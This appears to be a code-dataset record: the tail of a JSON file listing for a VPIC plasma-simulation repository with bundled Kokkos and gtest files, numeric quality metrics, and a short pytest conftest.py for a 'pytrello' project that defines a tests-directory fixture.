{"name":"./src/field_advance/standard/compute_rms_div_e_err.cc","size":4791,"last_modified":1531500080},
{"name":"./src/field_advance/standard/vacuum_compute_rhob.cc","size":4439,"last_modified":1531500080},
{"name":"./src/field_advance/standard/compute_div_e_err.cc","size":4521,"last_modified":1531500080},
{"name":"./src/field_advance/standard/compute_curl_b.cc","size":10347,"last_modified":1531500080},
{"name":"./src/field_advance/standard/local.cc","size":21223,"last_modified":1532015936},
{"name":"./src/field_advance/field_advance.cc","size":2089,"last_modified":1531500080},
{"name":"./src/species_advance/standard/energy_p.cc","size":4421,"last_modified":1531500080},
{"name":"./src/species_advance/standard/sort_p.cc","size":9721,"last_modified":1531500080},
{"name":"./src/species_advance/standard/rho_p.cc","size":7133,"last_modified":1531500080},
{"name":"./src/species_advance/standard/advance_p.cc","size":17585,"last_modified":1531500080},
{"name":"./src/species_advance/standard/uncenter_p.cc","size":5982,"last_modified":1532015937},
{"name":"./src/species_advance/standard/move_p.cc","size":14414,"last_modified":1531500080},
{"name":"./src/species_advance/standard/center_p.cc","size":5891,"last_modified":1531500080},
{"name":"./src/species_advance/standard/hydro_p.cc","size":6464,"last_modified":1531500080},
{"name":"./src/species_advance/species_advance.cc","size":3637,"last_modified":1532015936},
{"name":"./src/grid/partition.cc","size":6164,"last_modified":1531500080},
{"name":"./src/grid/ops.cc","size":7031,"last_modified":1531500080},
{"name":"./src/grid/grid_comm.cc","size":1810,"last_modified":1531500080},
{"name":"./src/grid/grid_structors.cc","size":1183,"last_modified":1531500080},
{"name":"./src/boundary/link.cc","size":2404,"last_modified":1531500080},
{"name":"./src/boundary/absorb_tally.cc","size":2630,"last_modified":1531500080},
{"name":"./src/boundary/maxwellian_reflux.cc","size":8642,"last_modified":1531500080},
{"name":"./src/boundary/boundary_p.cc","size":16088,"last_modified":1532015936},
{"name":"./src/boundary/boundary.cc","size":2281,"last_modified":1531500080},
{"name":"./src/collision/collision.cc","size":2100,"last_modified":1531500080},
{"name":"./src/collision/unary.cc","size":5158,"last_modified":1531500080},
{"name":"./src/collision/langevin.cc","size":4740,"last_modified":1531500080},
{"name":"./src/collision/binary.cc","size":9583,"last_modified":1531500080},
{"name":"./src/collision/hard_sphere.cc","size":17874,"last_modified":1531500080},
{"name":"./src/collision/large_angle_coulomb.cc","size":11081,"last_modified":1531500080},
{"name":"./src/emitter/emitter.cc","size":2366,"last_modified":1531500080},
{"name":"./src/emitter/child_langmuir.cc","size":8682,"last_modified":1531500080},
{"name":"./src/sf_interface/reduce_accumulators.cc","size":6310,"last_modified":1531500081},
{"name":"./src/sf_interface/clear_accumulators.cc","size":1161,"last_modified":1531500081},
{"name":"./src/sf_interface/accumulator_array.cc","size":1680,"last_modified":1531500081},
{"name":"./src/sf_interface/hydro_array.cc","size":7869,"last_modified":1531500081},
{"name":"./src/sf_interface/interpolator_array.cc","size":10078,"last_modified":1532015936},
{"name":"./src/sf_interface/unload_accumulator.cc","size":3507,"last_modified":1531500081},
{"name":"./kokkos/tpls/gtest/gtest/gtest-all.cc","size":354477,"last_modified":1528906780},
{"name":"./interfaces/c/fft_join.c","size":3309,"last_modified":1528904996},
{"name":"./interfaces/c/fft_join_tmp.c","size":3446,"last_modified":1528904996},
{"name":"./interfaces/c/poynting2d.c","size":6280,"last_modified":1528904996},
{"name":"./interfaces/c/data_join2.c","size":22638,"last_modified":1528904996},
{"name":"./interfaces/c/fig10.c","size":4852,"last_modified":1528904996},
{"name":"./interfaces/c/data_join.c","size":22633,"last_modified":1528904996},
{"name":"./interfaces/c/pppp.c","size":11254,"last_modified":1528904996},
{"name":"./interfaces/c/movie_join_bak.c","size":7266,"last_modified":1528904996},
{"name":"./interfaces/c/fig9.c","size":4900,"last_modified":1528904996},
{"name":"./interfaces/c/movie_join_2d.c","size":7170,"last_modified":1528904996},
{"name":"./interfaces/c/movie_join.c","size":16856,"last_modified":1528904996},
{"name":"./build/CMakeFiles/FindOpenMP/OpenMPCheckVersion.c","size":605,"last_modified":1531841816},
{"name":"./build/CMakeFiles/FindOpenMP/OpenMPTryFlag.c","size":93,"last_modified":1531841815},
{"name":"./build/CMakeFiles/3.11.1/CompilerIdC/CMakeCCompilerId.c","size":18988,"last_modified":1531841805},
{"name":"./build/CMakeFiles/feature_tests.c","size":688,"last_modified":1531841808},
{"name":"./utilities/symbols.h","size":1274,"last_modified":1528904996},
{"name":"./src/material/material.h","size":1438,"last_modified":1531500079},
{"name":"./src/util/bitfield.h","size":2961,"last_modified":1531500079},
{"name":"./src/util/swap.h","size":4340,"last_modified":1531500079},
{"name":"./src/util/system.h","size":1880,"last_modified":1531500079},
{"name":"./src/util/io/P2PIOPolicy.h","size":13536,"last_modified":1531500079},
{"name":"./src/util/io/FileIOData.h","size":402,"last_modified":1531500079},
{"name":"./src/util/io/FileIO.h","size":1855,"last_modified":1531500079},
{"name":"./src/util/io/StandardUtilsPolicy.h","size":577,"last_modified":1531500079},
{"name":"./src/util/io/P2PUtilsPolicy.h","size":1218,"last_modified":1531500079},
{"name":"./src/util/io/FileUtils.h","size":778,"last_modified":1531500079},
{"name":"./src/util/io/StandardIOPolicy.h","size":3305,"last_modified":1531500079},
{"name":"./src/util/profile/profile.h","size":3083,"last_modified":1531500079},
{"name":"./src/util/util_base.h","size":14693,"last_modified":1531500079},
{"name":"./src/util/checkpt/checkpt.h","size":13238,"last_modified":1531500079},
{"name":"./src/util/checkpt/checkpt_io.h","size":1709,"last_modified":1531500079},
{"name":"./src/util/checkpt/checkpt_private.h","size":628,"last_modified":1531500079},
{"name":"./src/util/util.h","size":1060,"last_modified":1531500079},
{"name":"./src/util/rng/rng.h","size":9313,"last_modified":1531500080},
{"name":"./src/util/rng/frandn_table.h","size":312,"last_modified":1531500080},
{"name":"./src/util/rng/rng_private.h","size":11345,"last_modified":1531500080},
{"name":"./src/util/rng/drandn_table.h","size":320,"last_modified":1531500080},
{"name":"./src/util/mp/RelayPolicy.h","size":12301,"last_modified":1531500080},
{"name":"./src/util/mp/mp.h","size":3441,"last_modified":1531500080},
{"name":"./src/util/mp/DMPPolicy.h","size":10437,"last_modified":1531500080},
{"name":"./src/util/mp/MPWrapper.h","size":540,"last_modified":1531500080},
{"name":"./src/util/v4/v4_sse.h","size":33491,"last_modified":1531500080},
{"name":"./src/util/v4/v4_portable.h","size":33860,"last_modified":1531500080},
{"name":"./src/util/v4/v4_altivec.h","size":42173,"last_modified":1531500080},
{"name":"./src/util/v4/v4.h","size":343,"last_modified":1531500080},
{"name":"./src/util/checksum.h","size":1125,"last_modified":1531500080},
{"name":"./src/util/pipelines/pipelines.h","size":3872,"last_modified":1531500080},
{"name":"./src/vpic/dumpmacros.h","size":8876,"last_modified":1531500080},
{"name":"./src/vpic/vpic_unit_deck.h","size":457,"last_modified":1531500080},
{"name":"./src/vpic/kokkos_helpers.h","size":4833,"last_modified":1532015937},
{"name":"./src/vpic/vpic.h","size":22550,"last_modified":1531500080},
{"name":"./src/field_advance/standard/sfa_private.h","size":14239,"last_modified":1532015936},
{"name":"./src/field_advance/field_advance_private.h","size":545,"last_modified":1531500080},
{"name":"./src/field_advance/field_advance.h","size":10219,"last_modified":1532015936},
{"name":"./src/species_advance/standard/spa_private.h","size":5627,"last_modified":1531500080},
{"name":"./src/species_advance/species_advance.h","size":7654,"last_modified":1532015936},
{"name":"./src/grid/grid.h","size":14277,"last_modified":1531500080},
{"name":"./src/boundary/boundary.h","size":1516,"last_modified":1531500080},
{"name":"./src/boundary/boundary_private.h","size":2437,"last_modified":1531500080},
{"name":"./src/collision/collision_private.h","size":1469,"last_modified":1531500080},
{"name":"./src/collision/collision.h","size":12961,"last_modified":1531500080},
{"name":"./src/emitter/emitter_private.h","size":1115,"last_modified":1531500080},
{"name":"./src/emitter/emitter.h","size":2906,"last_modified":1531500080},
{"name":"./src/sf_interface/sf_interface.h","size":5787,"last_modified":1532015936},
{"name":"./src/sf_interface/sf_interface_private.h","size":2480,"last_modified":1531500081},
{"name":"./kokkos/example/md_skeleton/system.h","size":2718,"last_modified":1528906780},
{"name":"./kokkos/example/md_skeleton/types.h","size":5086,"last_modified":1528906780},
{"name":"./kokkos/core/unit_test/config/results/HSW_Qthreads_KokkosCore_config.h","size":630,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Pascal61_ROCm_KokkosCore_config.h","size":571,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler35_ROCm_KokkosCore_config.h","size":571,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Maxwell53_Qthreads_KokkosCore_config.h","size":544,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/ARMv81_Pthread_KokkosCore_config.h","size":572,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/BDW_OpenMP_KokkosCore_config.h","size":682,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/WSM_Serial_KokkosCore_config.h","size":629,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Pascal61_Serial_KokkosCore_config.h","size":542,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/SKX_OpenMP_KokkosCore_config.h","size":688,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/SKX_Cuda_KokkosCore_config.h","size":715,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler37_Serial_KokkosCore_config.h","size":542,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/ARMv80_Qthreads_KokkosCore_config.h","size":573,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Power9_OpenMP_KokkosCore_config.h","size":633,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Maxwell53_Pthread_KokkosCore_config.h","size":543,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/ARMv81_OpenMP_KokkosCore_config.h","size":571,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/AMDAVX_ROCm_KokkosCore_config.h","size":597,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler35_OpenMP_KokkosCore_config.h","size":542,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Maxwell50_Qthreads_KokkosCore_config.h","size":544,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Pascal60_Pthread_KokkosCore_config.h","size":543,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler30_ROCm_KokkosCore_config.h","size":571,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Power7_OpenMP_KokkosCore_config.h","size":633,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Maxwell50_Serial_KokkosCore_config.h","size":542,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Power9_Qthreads_KokkosCore_config.h","size":635,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/KNC_Cuda_KokkosCore_config.h","size":651,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/BGQ_ROCm_KokkosCore_config.h","size":571,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/BDW_Qthreads_KokkosCore_config.h","size":684,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/AMDAVX_Qthreads_KokkosCore_config.h","size":570,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Power8_Qthreads_KokkosCore_config.h","size":635,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Maxwell53_Cuda_KokkosCore_config.h","size":631,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler30_Serial_KokkosCore_config.h","size":542,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/KNC_ROCm_KokkosCore_config.h","size":653,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/SKX_Pthread_KokkosCore_config.h","size":689,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/AMDAVX_Cuda_KokkosCore_config.h","size":595,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/ARMv80_ROCm_KokkosCore_config.h","size":600,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/BGQ_Qthreads_KokkosCore_config.h","size":544,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Maxwell_Cuda_KokkosCore_config.h","size":631,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/ARMv80_Pthread_KokkosCore_config.h","size":572,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/BDW_ROCm_KokkosCore_config.h","size":711,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler_OpenMP_KokkosCore_config.h","size":542,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler37_Qthreads_KokkosCore_config.h","size":544,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler30_Qthreads_KokkosCore_config.h","size":544,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler_ROCm_KokkosCore_config.h","size":571,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Maxwell_Serial_KokkosCore_config.h","size":542,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Maxwell52_ROCm_KokkosCore_config.h","size":571,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/BDW_Serial_KokkosCore_config.h","size":682,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Pascal60_ROCm_KokkosCore_config.h","size":571,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler_Cuda_KokkosCore_config.h","size":629,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/WSM_Cuda_KokkosCore_config.h","size":656,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/AMDAVX_Serial_KokkosCore_config.h","size":568,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/None_Serial_KokkosCore_config.h","size":542,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Pascal60_OpenMP_KokkosCore_config.h","size":542,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Maxwell52_Serial_KokkosCore_config.h","size":542,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/HSW_Pthread_KokkosCore_config.h","size":629,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Power9_ROCm_KokkosCore_config.h","size":662,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/KNC_Pthread_KokkosCore_config.h","size":625,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/ARMv8-ThunderX_Pthread_KokkosCore_config.h","size":609,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/KNC_OpenMP_KokkosCore_config.h","size":624,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Maxwell_ROCm_KokkosCore_config.h","size":571,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Maxwell52_Pthread_KokkosCore_config.h","size":543,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/KNL_Pthread_KokkosCore_config.h","size":634,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Pascal60_Serial_KokkosCore_config.h","size":542,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Power7_Serial_KokkosCore_config.h","size":633,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Maxwell53_OpenMP_KokkosCore_config.h","size":542,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler37_OpenMP_KokkosCore_config.h","size":542,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Power7_ROCm_KokkosCore_config.h","size":662,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Power7_Pthread_KokkosCore_config.h","size":634,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/None_Qthreads_KokkosCore_config.h","size":544,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/SNB_Serial_KokkosCore_config.h","size":627,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Maxwell52_OpenMP_KokkosCore_config.h","size":542,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Power7_Qthreads_KokkosCore_config.h","size":635,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/WSM_OpenMP_KokkosCore_config.h","size":629,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/ARMv80_Serial_KokkosCore_config.h","size":571,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Power8_Serial_KokkosCore_config.h","size":633,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/ARMv81_ROCm_KokkosCore_config.h","size":600,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/ARMv81_Qthreads_KokkosCore_config.h","size":573,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/KNC_Qthreads_KokkosCore_config.h","size":626,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/SKX_Serial_KokkosCore_config.h","size":688,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/HSW_Serial_KokkosCore_config.h","size":628,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Maxwell50_Pthread_KokkosCore_config.h","size":543,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Pascal61_Pthread_KokkosCore_config.h","size":543,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Power8_Pthread_KokkosCore_config.h","size":634,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/None_Cuda_KokkosCore_config.h","size":569,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Maxwell52_Cuda_KokkosCore_config.h","size":631,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/SKX_Qthreads_KokkosCore_config.h","size":690,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Pascal61_OpenMP_KokkosCore_config.h","size":542,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler35_Cuda_KokkosCore_config.h","size":629,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Pascal60_Cuda_KokkosCore_config.h","size":629,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/HSW_Cuda_KokkosCore_config.h","size":655,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/SKX_ROCm_KokkosCore_config.h","size":717,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/SNB_Pthread_KokkosCore_config.h","size":628,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler_Pthread_KokkosCore_config.h","size":543,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/AMDAVX_OpenMP_KokkosCore_config.h","size":568,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Pascal60_Qthreads_KokkosCore_config.h","size":544,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Maxwell50_Cuda_KokkosCore_config.h","size":631,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/AMDAVX_Pthread_KokkosCore_config.h","size":569,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/WSM_ROCm_KokkosCore_config.h","size":658,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Maxwell_OpenMP_KokkosCore_config.h","size":542,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/BGQ_Serial_KokkosCore_config.h","size":542,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler_Serial_KokkosCore_config.h","size":542,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/BGQ_Pthread_KokkosCore_config.h","size":543,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler32_Pthread_KokkosCore_config.h","size":543,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Maxwell53_ROCm_KokkosCore_config.h","size":571,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Power9_Serial_KokkosCore_config.h","size":633,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Maxwell_Qthreads_KokkosCore_config.h","size":544,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/ARMv8-ThunderX_Serial_KokkosCore_config.h","size":608,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/ARMv80_Cuda_KokkosCore_config.h","size":598,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/BDW_Pthread_KokkosCore_config.h","size":683,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/ARMv8-ThunderX_ROCm_KokkosCore_config.h","size":637,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler35_Qthreads_KokkosCore_config.h","size":544,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Maxwell_Pthread_KokkosCore_config.h","size":543,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler37_Pthread_KokkosCore_config.h","size":543,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler30_Cuda_KokkosCore_config.h","size":629,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler32_Cuda_KokkosCore_config.h","size":629,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler32_OpenMP_KokkosCore_config.h","size":542,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/BDW_Cuda_KokkosCore_config.h","size":709,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler35_Serial_KokkosCore_config.h","size":542,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/ARMv8-ThunderX_Cuda_KokkosCore_config.h","size":635,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler30_Pthread_KokkosCore_config.h","size":543,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler37_ROCm_KokkosCore_config.h","size":571,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Power8_ROCm_KokkosCore_config.h","size":662,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/WSM_Pthread_KokkosCore_config.h","size":630,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/ARMv81_Cuda_KokkosCore_config.h","size":598,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/SNB_Qthreads_KokkosCore_config.h","size":629,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/ARMv8-ThunderX_Qthreads_KokkosCore_config.h","size":610,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/SNB_OpenMP_KokkosCore_config.h","size":627,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler37_Cuda_KokkosCore_config.h","size":629,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/SNB_ROCm_KokkosCore_config.h","size":656,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/BGQ_OpenMP_KokkosCore_config.h","size":542,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler35_Pthread_KokkosCore_config.h","size":543,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/ARMv80_OpenMP_KokkosCore_config.h","size":571,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Maxwell50_ROCm_KokkosCore_config.h","size":571,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/None_OpenMP_KokkosCore_config.h","size":542,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Power8_OpenMP_KokkosCore_config.h","size":633,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Pascal61_Qthreads_KokkosCore_config.h","size":544,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Maxwell52_Qthreads_KokkosCore_config.h","size":544,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/SNB_Cuda_KokkosCore_config.h","size":654,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/KNL_Qthreads_KokkosCore_config.h","size":635,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/KNL_ROCm_KokkosCore_config.h","size":662,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Power9_Pthread_KokkosCore_config.h","size":634,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/None_Pthread_KokkosCore_config.h","size":543,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler32_ROCm_KokkosCore_config.h","size":571,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Maxwell53_Serial_KokkosCore_config.h","size":542,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/KNL_Cuda_KokkosCore_config.h","size":660,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Maxwell50_OpenMP_KokkosCore_config.h","size":542,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/None_ROCm_KokkosCore_config.h","size":571,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Power7_Cuda_KokkosCore_config.h","size":660,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/ARMv81_Serial_KokkosCore_config.h","size":571,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/KNL_OpenMP_KokkosCore_config.h","size":633,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler32_Qthreads_KokkosCore_config.h","size":544,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/HSW_OpenMP_KokkosCore_config.h","size":628,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler_Qthreads_KokkosCore_config.h","size":544,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/KNC_Serial_KokkosCore_config.h","size":624,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/ARMv8-ThunderX_OpenMP_KokkosCore_config.h","size":608,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Pascal61_Cuda_KokkosCore_config.h","size":629,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler32_Serial_KokkosCore_config.h","size":542,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/WSM_Qthreads_KokkosCore_config.h","size":631,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Power8_Cuda_KokkosCore_config.h","size":660,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler30_OpenMP_KokkosCore_config.h","size":542,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/HSW_ROCm_KokkosCore_config.h","size":657,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/KNL_Serial_KokkosCore_config.h","size":633,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Power9_Cuda_KokkosCore_config.h","size":660,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/BGQ_Cuda_KokkosCore_config.h","size":569,"last_modified":1528906778},
{"name":"./kokkos/tpls/gtest/gtest/gtest.h","size":830614,"last_modified":1528906780},
{"name":"./build/kokkos/KokkosCore_config.h","size":634,"last_modified":1531841817},
{"name":"./kokkos/example/cmake_build/foo.f","size":108,"last_modified":1528906780}
],
"git_info":{
"commit_hash":"4534681817954e93dafdb03e27b6f49a15052a98",
"branch":"test"
}
}
}
}""")
| 384.247945
| 204,593
| 0.778582
| 37,326
| 280,501
| 5.550153
| 0.028345
| 0.133343
| 0.115763
| 0.080197
| 0.972867
| 0.967538
| 0.957618
| 0.943716
| 0.927715
| 0.899124
| 0
| 0.12803
| 0.034207
| 280,501
| 729
| 204,594
| 384.775034
| 0.636682
| 0
| 0
| 0.528846
| 1
| 0.657967
| 0.999676
| 0.961882
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 12
|
7d035e171a440db13ab8eee6ddd2ce81ba1e4999
| 186
|
py
|
Python
|
tests/conftest.py
|
anubhavcodes/pytrello
|
4fbf4e9e70a6e65855c3555f282164a132b39094
|
[
"MIT"
] | null | null | null |
tests/conftest.py
|
anubhavcodes/pytrello
|
4fbf4e9e70a6e65855c3555f282164a132b39094
|
[
"MIT"
] | 7
|
2017-10-11T05:45:18.000Z
|
2018-08-26T18:53:34.000Z
|
tests/conftest.py
|
anubhavcodes/pytrello
|
4fbf4e9e70a6e65855c3555f282164a132b39094
|
[
"MIT"
] | 1
|
2019-05-06T10:45:16.000Z
|
2019-05-06T10:45:16.000Z
|
import os
import pytest
basedir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
@pytest.fixture()
def setup_tests_directory():
return os.path.join(basedir, "tests")
| 18.6
| 69
| 0.747312
| 27
| 186
| 4.925926
| 0.555556
| 0.180451
| 0.195489
| 0.225564
| 0.240602
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.107527
| 186
| 9
| 70
| 20.666667
| 0.801205
| 0
| 0
| 0
| 0
| 0
| 0.026882
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.166667
| false
| 0
| 0.333333
| 0.166667
| 0.666667
| 0
| 1
| 0
| 0
| null | 0
